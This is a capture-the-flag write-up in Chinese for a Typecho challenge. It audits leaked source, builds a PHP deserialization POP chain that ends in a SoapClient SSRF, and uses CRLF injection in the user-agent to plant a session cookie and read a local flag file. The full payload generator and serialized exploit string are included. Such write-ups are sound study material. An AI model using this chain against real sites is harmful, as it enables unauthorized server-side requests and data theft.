題目介紹
首先這是一個typecho的框架
然後通過掃目錄得到www.zip源碼泄露,然後就是審計代碼了~~
解題過程
首先我們找到輸入點
在插件中,我們發現action()的代碼
這兒需要說明一下,這兒的action一般是自動加載的,當路由加載類是會自動加載某個函數,所以我們直接搜索這個類得名稱~~
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
這句代碼的意思就是訪問/page_admin
的時候,會自動加載HelloWorld_Plugin
類,而且會自動調用action
函數,所以我們輸入點的路由爲/page_admin
尋找pop鏈
在根目錄下有flag文件
很明顯的ssrf,結合輸入點的反序列化,我們直接想到soap
的ssrf
當訪問後,會自動把flag
寫進訪問的session
中
usr下面的Plugin.php
中有一個類
我們跟進Typecho_Db
然後在Typecho_Db
的__construct
中發現字符串拼接,這個時候我們就知道肯定實調用某個類的__tostring
,因爲$adapterName
我們可控
所以我們直接搜索__tostring
然後跟蹤到Query.php
的__tostring
假如Typecho_Db::SELECT(靜態值)
的值爲SELECT
,則跟進$this->_adapter
我們發現這個值我們也是可控的,這個時候我們控制_adapter
爲soap類就可以了~~
這是時候梳理一下pop鏈
首先時/usr下的Plugins.php反序列化調用HelloWorld_DB
觸發Typecho_Db
類,並且可以控制其中的$adapterName
$adapterName
拼接到字符串中,觸發__tostring
,所以這個時候我們使得$adapterName
爲Query.php
中的Typecho_Db_Query
類,並且控制私有變量$_adapter
爲soap類來本地訪問flag.php
這個時候再訪問soap的parseSelect
方法,但是此方法並不存在,所以就會觸發soap的__call
方法來打到本地訪問的目的
payload:
<?php
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct()
{
$target = 'http://127.0.0.1/flag.php';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=a8vkg6l5j5sesvqan5q5s4obr1'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri' => "aaab"));
$this->_sqlPreBuild =array("action"=>"SELECT");
$this->_adapter = $b;
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = ["hello" => new Typecho_Db_Query()];
}
}
$a = new HelloWorld_DB();
$aaa = serialize($a);
這個時候先生成序列化的值,然後再做一些小處理
我們都知道私有變量類名的前後都有%00,但是某些特定版本的情況下,這樣也會出錯
這個時候我們需要將s改爲S,並添加\00
如同這個樣子
$aaa = 'O:13:"HelloWorld_DB":1:{S:26:"\00HelloWorld_DB\00coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"\00Typecho_Db_Query\00_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"\00Typecho_Db_Query\00_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=a8vkg6l5j5sesvqan5q5s4obr1";s:13:"_soap_version";i:1;}}}}';
然後再添加\r\n
,base64編碼
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo base64_encode($aaa);
我們soap訪問的PHPSESSID
的值爲a8vkg6l5j5sesvqan5q5s4obr1
這個時候訪問/page_admin
頁面
然後更換PHPSESSID
得到flag
寫在最後,再說一下爲啥要更換s,和添加\00,而不是直接編碼
都知道private屬性會在反序列化的生成一個標誌性的%00,關於這個坑點p神是這麼說的
- PHP序列化的時候
private
和protected
變量會引入不可見字符\x00
,輸出和複製的時候可能會遺失這些信息,導致反序列化的時候出錯。 private
屬性序列化的時候會引入兩個\x00
,注意這兩個\x00
就是ascii
碼爲0的字符。這個字符顯示和輸出可能看不到,甚至導致截斷,如圖1,url編碼後就可以看得很清楚了。- 同理,
protected
屬性會引入\x00*\x00
。 - 此時,爲了更加方便進行反序列化Payload的傳輸與顯示,我們可以在序列化內容中用大寫
S
表示字符串,此時這個字符串就支持將後面的字符串用16進製表示。比如s:5:”A<null_byte>B“;̀ -> S:5:”A\00B\09\0D”
;